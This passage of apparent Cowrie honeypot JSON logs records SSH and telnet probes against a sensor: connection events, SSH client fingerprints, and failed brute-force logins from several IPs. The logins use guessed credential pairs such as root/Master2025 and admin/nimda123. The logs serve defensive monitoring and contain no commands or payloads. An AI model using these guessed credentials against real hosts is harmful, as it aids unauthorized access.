man-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:39.702123Z","src_ip":"31.57.216.16","session":"5e98661c518d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:40.058184Z","src_ip":"31.57.216.16","session":"5e98661c518d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:41.166167Z","src_ip":"31.57.216.16","session":"5e98661c518d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"47.4","message":"Connection lost after 47.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:55.824620Z","src_ip":"47.239.15.75","session":"3557cdc7f7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.225.104.49","src_port":22353,"dst_ip":"10.17.0.5","dst_port":23,"session":"213804d02cfd","protocol":"telnet","message":"New connection: 223.225.104.49:22353 (10.17.0.5:23) [session: 213804d02cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:01.194279Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":38088,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef561b54d25d","protocol":"ssh","message":"New connection: 47.239.15.75:38088 (159.203.135.109:22) [session: ef561b54d25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:01.911715Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44738,"dst_ip":"10.17.0.5","dst_port":23,"session":"31a0dbd4ce1c","protocol":"telnet","message":"New connection: 45.58.127.90:44738 (10.17.0.5:23) [session: 31a0dbd4ce1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:05.237151Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53058,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a228c7102e","protocol":"telnet","message":"New connection: 45.58.127.90:53058 (10.17.0.5:23) [session: 47a228c7102e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:09.139834Z"}
{"eventid":"cowrie.session.closed","duration":12.393308162689209,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:13.587450Z","src_ip":"223.225.104.49","session":"213804d02cfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53062,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33a6666be10","protocol":"telnet","message":"New connection: 45.58.127.90:53062 (10.17.0.5:23) [session: c33a6666be10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:17.311806Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":58726,"dst_ip":"159.203.135.109","dst_port":22,"session":"609f39d45aba","protocol":"ssh","message":"New connection: 198.98.55.71:58726 (159.203.135.109:22) [session: 609f39d45aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:24.501012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:24.506640Z","src_ip":"198.98.55.71","session":"609f39d45aba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:24.511890Z","src_ip":"198.98.55.71","session":"609f39d45aba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:24.564050Z","src_ip":"198.98.55.71","session":"609f39d45aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:25.577044Z","src_ip":"198.98.55.71","session":"609f39d45aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":58974,"dst_ip":"159.203.135.109","dst_port":22,"session":"e14c6108ca2b","protocol":"ssh","message":"New connection: 87.106.29.151:58974 (159.203.135.109:22) [session: e14c6108ca2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:27.433605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:27.438640Z","src_ip":"87.106.29.151","session":"e14c6108ca2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:27.531001Z","src_ip":"87.106.29.151","session":"e14c6108ca2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master2025","message":"login attempt [root/Master2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:27.930634Z","src_ip":"87.106.29.151","session":"e14c6108ca2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:29.025742Z","src_ip":"87.106.29.151","session":"e14c6108ca2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.87493562698364,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:45.111963Z","src_ip":"45.58.127.90","session":"31a0dbd4ce1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.281097412109375,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:47.420820Z","src_ip":"45.58.127.90","session":"47a228c7102e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.214.120.110","src_port":39414,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0f3f5f7486d","protocol":"telnet","message":"New connection: 186.214.120.110:39414 (159.203.135.109:23) [session: f0f3f5f7486d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:50.640794Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54896,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8a39e403dc","protocol":"ssh","message":"New connection: 47.239.15.75:54896 (159.203.135.109:22) [session: ce8a39e403dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:54.958643Z"}
{"eventid":"cowrie.session.closed","duration":40.1231803894043,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:57.434858Z","src_ip":"45.58.127.90","session":"c33a6666be10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44996,"dst_ip":"10.17.0.5","dst_port":23,"session":"98d2b5401972","protocol":"telnet","message":"New connection: 45.58.127.90:44996 (10.17.0.5:23) [session: 98d2b5401972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:58.134792Z"}
{"eventid":"cowrie.session.closed","duration":0.5578861236572266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:49:58.692538Z","src_ip":"45.58.127.90","session":"98d2b5401972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.512057542800903,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:04.152758Z","src_ip":"186.214.120.110","session":"f0f3f5f7486d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33784,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6eed925584d","protocol":"telnet","message":"New connection: 45.58.127.90:33784 (10.17.0.5:23) [session: a6eed925584d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:12.347598Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":46784,"dst_ip":"159.203.135.109","dst_port":22,"session":"df1cea711daf","protocol":"ssh","message":"New connection: 198.98.55.71:46784 (159.203.135.109:22) [session: df1cea711daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:12.603286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:12.614347Z","src_ip":"198.98.55.71","session":"df1cea711daf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:12.620197Z","src_ip":"198.98.55.71","session":"df1cea711daf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"toor","message":"login attempt [alex/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:12.671069Z","src_ip":"198.98.55.71","session":"df1cea711daf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:13.683011Z","src_ip":"198.98.55.71","session":"df1cea711daf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.8","message":"Connection lost after 24.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:19.763859Z","src_ip":"47.239.15.75","session":"ce8a39e403dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46184,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ef69e31aaa7","protocol":"ssh","message":"New connection: 87.106.29.151:46184 (159.203.135.109:22) [session: 7ef69e31aaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:21.082094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:21.087894Z","src_ip":"87.106.29.151","session":"7ef69e31aaa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:21.182281Z","src_ip":"87.106.29.151","session":"7ef69e31aaa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nimda123","message":"login attempt [admin/nimda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:21.585180Z","src_ip":"87.106.29.151","session":"7ef69e31aaa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:22.683657Z","src_ip":"87.106.29.151","session":"7ef69e31aaa7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:24.651456Z","src_ip":"47.239.15.75","session":"ef561b54d25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49850,"dst_ip":"10.17.0.5","dst_port":23,"session":"107fed3ebd03","protocol":"telnet","message":"New connection: 45.58.127.90:49850 (10.17.0.5:23) [session: 107fed3ebd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:29.972890Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:37.172500Z","src_ip":"47.239.15.75","session":"ef561b54d25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.06502413749695,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:50:56.412469Z","src_ip":"45.58.127.90","session":"a6eed925584d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:01.568969Z","src_ip":"47.239.15.75","session":"ef561b54d25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:01.921904Z","src_ip":"47.239.15.75","session":"ef561b54d25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":48262,"dst_ip":"159.203.135.109","dst_port":22,"session":"09ff5166c2e7","protocol":"ssh","message":"New connection: 198.98.55.71:48262 (159.203.135.109:22) [session: 09ff5166c2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:04.329316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:04.333441Z","src_ip":"198.98.55.71","session":"09ff5166c2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:04.337933Z","src_ip":"198.98.55.71","session":"09ff5166c2e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker123","message":"login attempt [root/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:04.390613Z","src_ip":"198.98.55.71","session":"09ff5166c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:05.399774Z","src_ip":"198.98.55.71","session":"09ff5166c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.88621664047241,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:05.858995Z","src_ip":"45.58.127.90","session":"107fed3ebd03","protocol":"telnet"}
